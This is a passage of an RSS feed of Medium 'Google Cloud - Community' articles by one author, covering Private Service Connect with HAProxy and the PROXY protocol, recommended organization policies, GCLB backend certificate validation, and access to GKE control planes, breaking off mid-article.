            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWtRH16xQkDPPcBkq6VEsA.png" /></figure><p><a href="https://cloud.google.com/vpc/docs/private-service-connect?hl=en">Private Service Connect</a> (PSC) enables a producer-consumer model for services in VPCs <strong>without network connectivity</strong> between them. GCP makes it possible, but it implies hiding the client behind a request. That is a problem for services that need the source IP of the client who made the request. In this article I will explain a way to expose clients to services.</p><h3>Connecting in a Cloud way</h3><p>In GCP you can achieve private connectivity between a service producer’s VPC and a service consumer’s VPC using <a href="https://cloud.google.com/vpc/docs/vpc-peering">VPC Network Peering</a> or VPNs. Both methods exist for different use cases, have their own advantages, and several limitations. Notably, the need for non-overlapping IP ranges.</p><p>PSC overcomes many of those limitations allowing <em>private</em> consumption of services across multiple VPC networks that can belong to different projects or organizations. Of course, you can&#39;t ask multiple organizations to coordinate when assigning IP ranges to their projects. PSC doesn&#39;t require it.</p><p>I won&#39;t analyze all the benefits and limitations of PSC vs other solutions, but I will briefly describe how it works to set the stage for the rest of discussions. Take into account that there are several flavors of PSC, here I will talk about &quot;<a href="https://cloud.google.com/vpc/docs/private-service-connect?hl=en#benefits-services">PSC to publish and consume services</a>&quot;.</p><h3>PSC architecture</h3><p>The simplest form of PSC is pretty straightforward. There is a service offered from a producer VPC, and a consumer VPC which will consume the service. The producer creates a <em>service attachment</em> to expose the service, and the consumer creates an <em>endpoint</em> targeting this attachment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESNqbOvPURA5j-GZ7ZjWnA.png" /><figcaption>Basic PSC architecture.</figcaption></figure><p>The service needs to be a load balanced service, for GCP this can be a L4 or L7 internal load balancer (ILB). The service attachment points to the <a href="https://cloud.google.com/load-balancing/docs/forwarding-rule-concepts"><em>forwarding rule</em></a> of this load balancer. The endpoint itself is a forwarding rule whose target, instead of a backend service or proxy, is a service attachment URI.</p><p>Note that there is no layer 3 network connectivity between these VPCs, each has its own isolated network domain. You only need to deal with APIs to establish the relationship and <em>Andromeda</em>, GCP’s Software Defined Networking platform, takes care of the rest. Now these VPCs can use the same IP ranges, overlapping is not an issue anymore. In fact, PSC allows to deploy a multi-tenant model where your service is consumed by multiple consumers irrespective of their subnets&#39; ranges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0sZ2DlAqclJh4sBOhFG9RQ.png" /><figcaption>Multi-tenant model with overlapping addresses.</figcaption></figure><h3>Where things may break</h3><p>I mentioned PSC exposes a service behind a L4 or L7 ILB. The L7 ILB is an HTTP proxy so backends will see the proxy IP as source IP in the requests. If they need the original source IP of the client making the request the header “X-Forwarded-For” contains that information.</p><p>The L4 ILB is not a proxy though. And a service attachment needs to define a NAT range that is used by PSC to translate the source IP of the request to one that is part of the producer VPC. Backends will see an IP from that NAT range as the source, meaning that in general non-HTTP applications will not see the original client IP.</p><p>There’s a workaround though. The <a href="http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt">PROXY</a> protocol was designed to forward information from the client connection to the next host. This is achieved by adding a header at the L4 at the beginning of each connection. PSC is compatible with the PROXY protocol so you can enable it when creating the service attachment. Of course, backend applications receiving that info should be compatible with the protocol, otherwise the connection will fail.</p><p>Here is where things can get complicated. Many applications are not compatible with the PROXY protocol, and if you have such an app and the need to keep the original client IP, PSC and NAT in general can become a problem. This use case is the focus of this article.</p><h3>Test deployment</h3><p>I will deploy a test scenario to show you how all this looks like. Although I mentioned overlapping addresses are not an issue, I will use different subnet ranges to make easier to follow explanations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*VPx_Jb_lfovlWm5NdLID7Q.png" /><figcaption>Initial test scenario.</figcaption></figure><p>I won&#39;t type here all the instructions to set it up, only the ones more related to PSC and to test it. I think you will be able to fill in the gaps.</p><h4>* Service</h4><p>The service consists of two VMs as part of an instance group and an internal TCP/UDP load balancer pointing to it called &quot;ilb-myservice&quot;. For test purposes I run a simple HTTP server on each. As I said the focus of this article is on L3/L4 applications in general, but for testing it is very convenient to run a simple web server with some logging and the tool &#39;curl&#39;:</p><pre>$ python3 -m http.server 8080</pre><h4>* Service attachment</h4><p>First you need a NAT subnet for the service attachment. This subnet is only for PSC, you can&#39;t use it for other resources such as VMs:</p><pre>$ gcloud compute networks subnets create producer-subnet-psc --network vpc-producer --region europe-west1 --range 10.10.0.0/24 --purpose PRIVATE_SERVICE_CONNECT</pre><p>The service attachment points to &quot;ilb-myservice-forwarding-rule&quot; and uses the previous NAT subnet &quot;producer-subnet-psc&quot; (10.10.0.0/24):</p><pre>$ gcloud compute service-attachments create myservice-attachment --region europe-west1 --producer-forwarding-rule ilb-myservice-forwarding-rule --connection-preference=ACCEPT_AUTOMATIC --nat-subnets producer-subnet-psc</pre><h4>* Endpoint</h4><p>Reserve an internal IP address for the endpoint in the consumer VPC:</p><pre>$ gcloud compute addresses create ip-psc-endpoint --region europe-west1 --subnet consumer-subnet-1 --addresses 172.16.0.10</pre><p>Create a forwarding rule to connect the endpoint to the producer’s service attachment:</p><pre>$ gcloud compute forwarding-rules create fr-psc-endpoint --region europe-west1 --network vpc-consumer --address ip-psc-endpoint --target-service-attachment projects/[PRODUCER_PROJECT_ID]/regions/europe-west1/serviceAttachments/myservice-attachment</pre><h4>* Testing a connection</h4><p>If we make a request from a consumer VM to the service via the endpoint, we can check it works although the VPCs are not connected!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KLivNqJvOKUcLBBtvYiPqA.png" /><figcaption>Connection test from consumer to producer VPC.</figcaption></figure><p>Note how the request is seen as coming from IP 10.10.0.6, from the NAT range. Also the request is made to the endpoint IP, 172.16.0.10, however it reaches the backends through the ILB VIP, 10.1.0.50. You can use &#39;tcpdump&#39; or <a href="https://cloud.google.com/vpc/docs/flow-logs">VPC Flow Logs</a> if you don&#39;t trust me :)</p><h3>Exposing the client</h3><p>PSC is a great way of connecting consumers and services in Cloud, so it is worth to leverage it also for those apps that need to know the client IP. We need to use the PROXY protocol to recover that info, but since we are considering non-compatible apps we need a proxy service that understands the PROXY protocol and handles it for them, and some plumbing.</p><p>I will deploy a proxy VM running <a href="https://www.haproxy.com/">HAProxy</a>. I choose this software because it is a great TCP/HTTP proxy and load balancer, and an HAProxy developer designed the PROXY protocol so it is well supported. You can use the free version or the paid version to get more enterprise features and support.</p><p>The idea is that the proxy will receive the connection and its information through the PROXY protocol enabled in the service attachment. Then I will use that information to translate the request and connect to the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxXxKfRcWBcfp1ty2HlQzw.png" /><figcaption>Exposing the client through a proxy service. Note there are two TCP connections now.</figcaption></figure><h4>* Configuring the proxy VM</h4><p>The proxy VM will forward packets with sources different from its own internal IP so it needs IP forwarding enabled at the VM level:</p><pre>$ gcloud compute instances create ... --can-ip-forward</pre><p>Also, it will need to accept responses to those sources. For that we will configure <em>AnyIP</em> feature:</p><pre>proxy$ sudo ip route add local 172.16.0.0/24 dev lo</pre><p>We are adding a local route for the consumer IP range, so that our VM will accept traffic on IPs not explicitly configured on it. To remove dependency with consumer VPC(s), you could use a range like 172.16.0.0/12 instead.</p><h4>* Installing and configuring HAProxy</h4><p>Install HAProxy following instruction from <a href="https://haproxy.debian.net/">here</a>. It comes with a default configuration, typically in &#39;/etc/haproxy/haproxy.cfg&#39;. HAProxy has a lot of <a href="http://cbonte.github.io/haproxy-dconv/2.4/configuration.html">features and options</a> I won&#39;t cover, only the minimum you need to modify to make our setup work:</p><pre>global<br>  # Comment out these two lines to be root and spoof client IP<br>  #user haproxy<br>  #group haproxy</pre><pre>defaults<br>  # Use TCP load balancing<br>  #mode http<br>  #option httplog<br>  mode tcp<br>  option tcplog</pre><pre>frontend myfrontend<br>  # Accept PSC connections on this port. Enable PROXY protocol, PSC will send client connection information on it<br>  bind :8080 accept-proxy<br>  # Dispatch the accepted connections to this backend<br>  default_backend myservice</pre><pre>backend myservice<br>  # Set source address for outgoing connections, using source IP (and port) from client connection<br>  source 0.0.0.0 usesrc client<br>  # The backend is the ILB<br>  server fw_rule 10.1.0.50</pre><p>Save the file and restart the service:</p><pre>proxy$ sudo systemctl restart haproxy</pre><h4>* Some more plumbing</h4><p>Make the proxy VM part of an instance group and put an internal TCP/UDP load balancer pointing to it called “ilb-proxy”. It will be used by PSC. You also need to create a route in the producer VPC to this ILB to send the traffic back:</p><pre>$ gcloud compute routes create route-via-proxy --network=vpc-producer --destination-range=172.16.0.0/24 --next-hop-ilb=ilb-proxy-forwarding-rule</pre><p>Again, here you could use a range like 172.16.0.0/12 instead so that you don&#39;t need to specify a new route for every consumer.</p><h4>* Configuring PSC</h4><p>Delete the previous service attachment and create a new one pointing to “ilb-proxy-forwarding-rule”, this time enabling the PROXY protocol:</p><pre>$ gcloud compute service-attachments create myservice-attachment --region europe-west1 --producer-forwarding-rule ilb-proxy-forwarding-rule --connection-preference=ACCEPT_AUTOMATIC --nat-subnets producer-subnet-psc --enable-proxy-protocol</pre><p>Since the attachment changed, you need to delete the endpoint and create it again:</p><pre>$ gcloud compute forwarding-rules create fr-psc-endpoint --region europe-west1 --network vpc-consumer --address ip-psc-endpoint --target-service-attachment projects/[PRODUCER_PROJECT_ID]/regions/europe-west1/serviceAttachments/myservice-attachment</pre><h4>* The litmus test</h4><p>Let&#39;s make a request from a consumer VM. If everything works, the backends should see the client IP as the source of the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-TZU6iEIq5MlwVzy1JTwBQ.png" /><figcaption>Connection test using PROXY protocol.</figcaption></figure><p>\o/</p><h3>Make it available</h3><p>Now that we have our HAProxy forwarding requests from clients, the next logical step is to improve the availability of the system by deploying more than one proxy. I would let the reader do that, but there are some caveats to consider.</p><p>I said PSC allows to deploy a multi-tenant model where overlapping IP ranges are not an issue. However, when we use the PROXY protocol to expose the client IP the situation is different. Think on this, the backends want to identify the client by its IP, how would that be possible if multiple clients use the same IP?</p><p>Deploying several proxies poses a related problem. If two proxies can forge requests for the same IP ranges, the response from the backends may hit the wrong proxy.</p><p>One solution to this is to deploy an active/passive configuration. We can configure a second proxy as failover backend on the ILB. When the primary backend is unhealthy GCP performs a failover and new connections are directed to the backup VM. In case the primary VM recovers and passes its health check, GCP performs a failback. This way, you have only one active proxy at any time.</p><p>I mentioned health check. Until now, I didn&#39;t talk about how to configure it for HAProxy because it was not essential. But you need it for failover to work properly. The following snippet for ‘/etc/haproxy/haproxy.cfg’ shows an example to configure a response to a health check on port 8081:</p><pre>frontend health-checks<br>  mode http<br>  bind :8081<br>  http-request return</pre><p>HAProxy will bind to port 8081, where you need to point your ILB health checks, and will immediately return a 200 OK to GCP probes.</p><p>After deploying the failover backend, you can test it works by simply stopping and starting the HAProxy service on the primary backend and observing the different route traffic takes (&#39;tcpdump&#39; is your friend ;):</p><pre>proxy$ sudo systemctl stop haproxy<br>proxy$ sudo systemctl start haproxy</pre><h3>Final notes</h3><p>You should take into account that PSC has some limitations. Some of them may be removed in the future (maybe they are not a limitation by the time you are reading this article). For example:</p><ul><li>PSC supports PROXY protocol for TCP services only, not for UDP.</li><li>The PSC endpoint must be in the same region as the service attachment.</li><li>Accessing a PSC endpoint from on-premises using Interconnect attachments (VLANs) is not supported.</li></ul><p>Please refer to the <a href="https://cloud.google.com/vpc/docs/private-service-connect?hl=en">public documentation</a> to have an up to date information.</p><p>In summary, PSC still has some room for improvement but it is a great way to create a producer-consumer model in GCP. I hope you will start using it more after reading this article.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2471a851ae23" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/exposing-the-client-behind-psc-2471a851ae23">Exposing the client behind PSC</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Org Policies by default]]></title>
            <link>https://medium.com/google-cloud/org-policies-by-default-3adc0c8925b0?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/3adc0c8925b0</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[gcp-security-operations]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Wed, 06 Oct 2021 14:57:32 GMT</pubDate>
            <atom:updated>2022-12-02T09:09:20.066Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iaSALE1XUAhvMR1Z" /><figcaption>Photo by <a href="https://unsplash.com/@naomi_august?utm_source=medium&amp;utm_medium=referral">Naomi August</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>There are currently (October, 2021) more than 60 <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organization policies</a> in Google Cloud. What would be a list of the more important ones to enable is a recurrent topic from customers, especially at the beginning of their journey to cloud. I will try to answer that in this article.</p><h3>A bit of context</h3><p>An organization policy is a restriction or constraint that you can set over the use of a service. For example, you may want to restrict the use of public IPs to some specifics VMs only (or none). The restriction is set on a resource hierarchy node, meaning you set it at the organization, folder, or project level. The types of restrictions and how inheritance is applied is well explained in the <a href="https://cloud.google.com/resource-manager/docs/organization-policy/overview">public documentation</a>.</p><p>I will just mention there are two types, <em>list</em> and <em>boolean</em>. A list allows you to specify the set of allowed or denied values, such as the VMs allowed to have an external IP. A boolean is to enforce a given restriction, such as whether external service account keys can be created.</p><h3>How to choose</h3><p>Now comes the question, and the doubts. Org policies are there to serve as guardrails for your teams, to ensure you stay within compliance and improve your security posture. So maybe the first approach could be: if it is for being more secure, why not to enable all of them?</p><p>Well, you may think you have solved the problem of deciding. I&#39;d say it&#39;s just the opposite because now you have new ones. Enabling a constraint means deciding about things related to your deployments on GCP, the services you will use, your teams&#39; workflows, your policies for different environments… and configuring it properly. This requires comprehensive knowledge that usually takes time to gain and resources to execute. E.g. you may enable to use private OS images only, but not have the proper team with the skills to create those hardened images. And of course some policies may not make any sense to you because you don&#39;t plan to use the service it applies to.</p><p>Then, how to create a sensible list of org policies to consider? My approach will be to choose the more common ones which are quick wins with an estimated low effort for an average company, meaning many customers might benefit from applying such policies.</p><p>I will introduce them but won&#39;t elaborate on them, you can find the details for each policy and some examples on the public documentation. Let&#39;s see that list!</p><h3>And the winners are…</h3><ul><li><strong>Restrict Public IP access on Cloud SQL instances</strong><br>Self-explanatory, you should keep your systems out of public reach as much as possible. Planning for mainly private connectivity is a must.</li><li><strong>Enforce Public Access Prevention</strong><br>Secure your Cloud Storage data from public exposure, in the same spirit as with the network. Only authorized people and not all users should have access to your data.</li><li><strong>Enforce uniform bucket-level access</strong><br>Ensure all your Cloud Storage objects have the same permissions applied, that of the bucket. That will make easier to control and audit every object has appropriate permissions.</li><li><strong>Disable VM serial port access</strong><br>An interactive serial port is rarely required, and an attack vector to gain access. If you need its output you can get it from Cloud Logging.</li><li><strong>Define allowed external IPs for VM instances</strong><br>Again, keep your systems out of public reach as much as possible avoiding the use of public IPs.</li><li><strong>Domain restricted sharing<br></strong>Restrict which domains can be added to an IAM policy and get permissions on your resources. Only users in your organization should, you don&#39;t want to allow random <em>gmail</em> accounts access your systems, do you?</li><li><strong>Disable service account key creation</strong><br>Service account keys represent a big responsibility and security risk, and you should employ Google-managed keys as much as possible. For the few cases when that&#39;s not possible you may want to read <a href="https://medium.com/google-cloud/service-account-credentials-management-how-to-improve-your-security-posture-663bca03a52">this article</a>.</li><li><strong>Disable service account key upload<br></strong>Another way to use user-managed keys is to create them locally and upload them to Cloud. Again, try not to rely on it.</li><li><strong>Restrict shared VPC project lien removal</strong><br>A shared VPC project is a very important piece in a deployment since its VPC usually hosts many service projects. Protect yourself from errors adding one more step (and IAM permissions) to delete it.</li></ul><h3>Anything else?</h3><p>After reading this list a common ask is: with so many org policies, wouldn&#39;t you enable anything else? Apart from those for services you may not use, there are other policies that may be technically interesting but still more difficult to implement or with a perceived little value. Considering these concerns, I have compiled a second list with those that I think more relevant.</p><ul><li><strong>Google Cloud Platform — Detailed Audit Logging Mode</strong><br>Cloud Storage can log both the request <em>and</em> response, and this may be relevant for those industries subject to specific compliance requirements.</li><li><strong>Require OS Login</strong><br>OS Login is a superior mechanism to SSH to log into a machine (I need to write an article on this). I understand changing procedures is not a trivial task, but it&#39;s worth.</li><li><strong>Shielded VMs</strong><br>If you can use <a href="https://cloud.google.com/compute/docs/images/os-details#security-features">shielded images</a>, you can easily get the benefits of security controls shielded VMs offer against rootkits and remote attacks.</li><li><strong>Restrict Cloud NAT usage</strong><br>Instead of using public IPs you should use services like Cloud NAT to gain external access. Still, this access should be under control and possibly only for some proxies.</li><li><strong>Restrict Non-Confidential Computing<br></strong><em>Encryption of data in use</em> in Cloud, is a really interesting feature especially for regulated industries and highly sensitive workloads. Google Cloud <a href="https://medium.com/google-cloud/confidential-computing-is-cool-1d715cf47683">makes it really simple</a> to achieve.</li><li><strong>Define trusted image projects</strong><br>Allowing only a curated set of OS images, either from you or provided and maintained by Google, it&#39;s a way to improve your stability and security.</li><li><strong>Disable Automatic IAM Grants for Default Service Accounts<br></strong>Default service accounts with default (wide) permissions are good for testing things but not the best approach for your production workloads. Disabling these grants, though, implies you need to explicitly grant the required permissions to each service account.</li></ul><h3>Recap</h3><p>I created this list(s) to give you both a recommendation and a starting point to discuss which org policies better fit your company. Obviously creating any list can leave out some policies that may fulfill a valid use case. I think most of the ones listed here will resonate with your business, but you should review them and consider any others that may apply to your use case.</p><p>A reasonable approach could be to use this list to start with, after a quick check it makes sense. Then as you continue your journey to Cloud and gain experience you will learn by yourself which others may be relevant. I hope I helped in that journey!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3adc0c8925b0" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/org-policies-by-default-3adc0c8925b0">Org Policies by default</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google's GCLB doesn't comply with RFCs]]></title>
            <link>https://medium.com/google-cloud/google-doesnt-comply-with-rfcs-bc239b014b05?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc239b014b05</guid>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[infrastructure]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Mon, 18 Jan 2021 08:22:17 GMT</pubDate>
            <atom:updated>2021-01-19T08:55:45.658Z</atom:updated>
            <content:encoded><![CDATA[<h3>Google’s GCLB doesn&#39;t comply with RFCs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Y4usl2CSOYnnqKbYUNC1Ew.png" /></figure><p>When you deploy a backend system in GCP behind Google Cloud Load Balancer (GCLB) you can use TLS to secure the communication between them. The RFC that defines how HTTP over TLS works is <a href="https://tools.ietf.org/html/rfc2818">RFC 2818</a>. This mechanism involves sending a certificate to validate from the server, your backend in this case, to the client, the GCLB. It turns out we don&#39;t validate that certificate.</p><h3>A paradox situation</h3><p>The GCLB is our HTTP(s) load balancer. It is a reverse proxy, so external user connections terminate on it and then a new connection is created from the GCLB to the backend. You can choose to enable TLS encryption (HTTPs) on this communication path.</p><p>On the TLS exchange, a digital certificate and its corresponding public key is used to generate a session key to secure the connection. You can find all the details in <a href="https://tools.ietf.org/html/rfc5246">RFC 5246</a> and other related RFCs. This certificate needs to be validated by the client before proceeding, but as we state in our public <a href="https://cloud.google.com/load-balancing/docs/ssl-certificates/encryption-to-the-backends#secure_backend_protocol_considerations">documentation</a>:</p><blockquote>When a GFE connects to backends that are within Google Cloud, the GFE accepts any certificate your backends present. GFEs do not perform certificate validation. For example, the certificate is treated as valid even in the following circumstances:<br>- The certificate is self-signed.<br>- The certificate is signed by an unknown certificate authority (CA).<br>- The certificate has expired or is not yet valid.<br>- The CN and subjectAlternativeName attributes don&#39;t match a Host header or DNS PTR record.</blockquote><blockquote>Note: GFE stands for Google Front End, the system that implements a GCLB</blockquote><p>What? How come? Google&#39;s security is top-notch, and your security is a top priority for us. However this seems to contradict that. It goes against RFCs, it doesn&#39;t check the server identity, and leaves the door open to man-in-the-middle-attacks!</p><p>I&#39;m sure this can cause some people to get nervous, especially security teams in charge of companies&#39; security. No panic, I said this is a paradox so let me explain.</p><h3>The Wild Wild Web</h3><p>HTTP over TLS and digital certificates were designed to secure communications mainly in the Internet and the WWW. Of course there is widespread use also in internal networks, but the WWW represents a more general (and wild) framework.</p><p>When users access e.g. their online bank accounts, they want to be sure they are reaching the right server and that their communications can&#39;t be decrypted and their data stolen. This is not an easy task to achieve since there are many threats out there: malware, DNS spoofing, BGP hijacking…</p><p>To help on this task we all use a security framework based on certificates and the TLS protocol. That gives us a good level of protection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*ZBgK2k-xOjpySDRIoHiBYQ.png" /></figure><p>We are not totally secure yet, sophisticated attacks can happen, but this raises the security bar significantly.</p><h3>A new scenario</h3><p>Running backend servers in GCP is a very different scenario to the WWW. You will see there are significant differences that change the threat model.</p><p>To start with, the client (GCLB) and the server (backend) run in the same network, a network managed and secured by Google. We control the systems communicating and route traffic properly. That means some of the threats mentioned before, particularly those related to intercepting traffic, don&#39;t apply in our scenario. To better understand how GCP VPC networks route traffic you can read my <a href="https://medium.com/google-cloud/a-dmz-what-is-that-acc3b21b9653">article on DMZs</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*NOgwGXPA8JsIlh7ip-1nRg.png" /></figure><p>At the network layer our virtual network authenticates all traffic within GCP. This authentication, achieved via security tokens, protects a compromised host from spoofing packets on the network. A packet is sent directly from VM to VM, and security tokens contain authentication information about the sender and receiver. The control plane on the sending side sets the token, and the receiving host validates the token. If a host receives a packet from a rogue sender or not destined to it, the packet is dropped.</p><p>If the related topic of compromised systems in multi-tenant architectures is a concern for you, you may want to read my article on <a href="https://medium.com/google-cloud/confidential-computing-is-cool-1d715cf47683">confidential computing</a>.</p><p>When traffic goes outside of facilities that Google physically controls, we encrypt at the network layer in a similar fashion to IPsec so customer&#39;s traffic traversing our data centers is protected. You can find more details about encryption in transit in Google Cloud in this <a href="https://cloud.google.com/security/encryption-in-transit">document</a>. I recommend you to read it to understand how much effort we put in securing our infrastructure and keep customer data protected.</p><p>And remember you are in control of what backends are registered to the GCLB. Either VMs or pods running in a cluster, this is all part of the customer&#39;s GCP configuration. Neither Google nor another customer on GCP is able to modify this component.</p><h3>Conclusion</h3><p>As you can see, we have a secure platform and several alternative mechanisms in place to reassure ourselves that only the real backend could be talking to the GCLB, which makes it unnecessary to validate the certificate and the identity it carries as usually required. That also simplifies design, implementation and management to the customer.</p><p>In reality, this is in conformance with RFC 2818, <a href="https://tools.ietf.org/html/rfc2818#section-3.1">Section 3.1</a>:</p><blockquote>If the client has external information as to the expected identity of the server, the hostname check MAY be omitted.</blockquote><p>Security is not a matter of going through a security checklist. That can help you organize but Cloud has changed some rules of the game and you need to analyze and understand this new context. I hope this article will help you with that venture!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc239b014b05" width="1" height="1" alt=""><hr><p><a href="https://medium.com/google-cloud/google-doesnt-comply-with-rfcs-bc239b014b05">Google&#39;s GCLB doesn&#39;t comply with RFCs</a> was originally published in <a href="https://medium.com/google-cloud">Google Cloud - Community</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Where is my GKE master?]]></title>
            <link>https://medium.com/google-cloud/where-is-my-gke-master-13303895f595?source=rss-af5b8cbda209------2</link>
            <guid isPermaLink="false">https://medium.com/p/13303895f595</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[Julio Diez]]></dc:creator>
            <pubDate>Thu, 17 Dec 2020 20:48:19 GMT</pubDate>
            <atom:updated>2021-09-24T10:58:48.631Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XOvJfGUUCkcByvwN" /><figcaption>Photo by <a href="https://unsplash.com/@maxweisbecker?utm_source=medium&amp;utm_medium=referral">Maximilian Weisbecker</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Google Kubernetes Engine (GKE) clusters can be configured in different ways that make accessing the control plane, your Kubernetes master or API server, a non-trivial task. You will see that it&#39;s not only where the master is but also where you are. I will explore the different scenarios and configurations to help you decide your access model and troubleshoot your setup.</p><h3>Scenarios</h3><p>You need to use tools like <em>kubectl</em> to access the Kubernetes API and manage your cluster workloads, and how your GKE cluster is configured imposes access restrictions. First let&#39;s see the different places from where you may want to access a GKE master. The following figure shows them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*002ncAmNgobf339uuMHTaQ.png" /><figcaption>Figure 1. Accessing the GKE master from different environments</figcaption></figure><ol><li><strong>Internet</strong>: this represents accessing the master from a (non-GCP) public IP, e.g. your laptop at home, although it could also be your corporate machine when going through the Internet.</li><li><strong>Cluster nodes</strong>: these are your worker nodes accessing the master, typically the <a href="https://kubernetes.io/docs/concepts/overview/components/#kubelet">kubelet</a> agent that runs on each node.</li><li><strong>VMs in cluster&#39;s VPC</strong>: other VMs in the same cluster&#39;s VPC network, for example a management host to reach a private API endpoint. This option has more sub-scenarios that may be relevant in some cases, e.g. if we consider the subnet or region where VMs are located. I will delve into these later.</li><li><strong>VMs in another VPC</strong>: similar to previous point but when in a different VPC to that of the cluster. These VPCs are not connected to each other.</li><li><strong>Cloud Shell</strong>: this is the online shell environment for Google Cloud that you access with your browser, with pre-installed tools like gcloud and kubectl.</li><li><strong>On-premises</strong>: companies typically connect their private IP space to GCP VPCs through a <a href="https://cloud.google.com/hybrid-connectivity">VPN or Interconnect</a> link. This case may be your corporate machine or CI/CD tooling managing your cluster.</li></ol><p>Now let&#39;s explain the different configurations for GKE and how you can get access or not from these places.</p><h3>Public clusters</h3><p>By default GKE clusters are created with public IPs for master and worker nodes. Create a cluster and retrieve the Kubernetes credentials to gain access:</p><pre>$ gcloud container clusters create test-cluster<br>$ gcloud container clusters get-credentials test-cluster</pre><p>Run a kubectl command to verify that you have access:</p><pre>$ kubectl get nodes -o name<br>node/gke-test-cluster-default-pool-f89318a3-5bg5<br>node/gke-test-cluster-default-pool-f89318a3-nfsp<br>node/gke-test-cluster-default-pool-f89318a3-rwb1</pre><p>You can also check the public API endpoint where the master is listening:</p><pre>$ kubectl cluster-info<br>Kubernetes master is running at <a href="https://104.155.43.13/">https://104.155.43.13</a><br>...</pre><p>Assuming you have the necessary credentials, you will have access from most of the environments since the API endpoint is public:</p><ol><li>Internet:️️ ️✅<br>You may already know it since probably you run this test from your laptop.</li><li>Cluster nodes: ️✅️<br>Sure, cluster nodes have public IPs, and they need access to the master.</li><li>VMs in cluster’s VPC: ✅<br>Any VM with a public IP can get access to the cluster.</li><li>VMs in another VPC: ✅<br>Same comment as above, the VPC here doesn&#39;t make a difference.</li><li>Cloud Shell: ✅<br>A Cloud Shell is just a managed VM with a public IP.</li><li>On-premises: ❌️<br>This is the only case without access to the cluster. Remember here we consider corporate machines with only private access to GCP, a corporate machine with public IP would be option 1 (Internet).</li></ol><p>Public clusters facilitate administration. The master API is publicly accessible through TLS providing you have the credentials, and you can harden worker nodes with GCP firewall rules.</p><h3>Public clusters + Authorized networks</h3><p>You may want to restrict access to the master API to a known set of IP addresses, to limit potential attacks or access e.g. in case credentials are stolen. Update your cluster using GKE&#39;s <em>authorized networks</em> feature and your desired CIDR ranges (e.g. your ISP provided IP):</p><pre>$ gcloud container clusters update test-cluster --enable-master-authorized-networks --master-authorized-networks cidr1,cidr2...</pre><blockquote>Take into account this can block <strong>IPs from outside Google only</strong>. IPs from Google Cloud will continue to have access.</blockquote><p>Let&#39;s summarize it. The symbol ❓ ️means that only authorized IP ranges will get access:</p><ol><li>Internet:️️ ❓️</li><li>Cluster nodes: ✅️</li><li>VMs in cluster’s VPC: ️✅️</li><li>VMs in another VPC: ️✅</li><li>Cloud Shell: ️✅️</li><li>On-premises: ❌️</li></ol><p>Using authorized networks with public clusters doesn&#39;t really add more security, since a potential attacker can always spin up a VM in GCP to gain access from there.</p><h3>Private clusters</h3><p>In a private cluster, worker nodes only get internal IP addresses. However, the control plane has a private endpoint <strong>and</strong> a public endpoint. Access to the public endpoint can be disabled when creating a private cluster, as we will see later.</p><pre>$ gcloud container clusters create priv-cluster --enable-ip-alias --enable-private-nodes --master-ipv4-cidr 172.16.0.0/28 --no-enable-master-authorized-networks<br>$ gcloud container clusters get-credentials priv-cluster [--internal-ip]</pre><p>Access to the private endpoint is through an internal load balancer (ILB). That means you will need to enable <em>global access</em> if you want to reach the control plane from a different GCP region to where it is deployed:</p><pre>$ gcloud container clusters update priv-cluster --enable-master-global-access</pre><p>With a public and a private endpoint you can get access from anywhere, with some caveats:</p><ol><li>Internet:️️ ️✅</li><li>Cluster nodes: 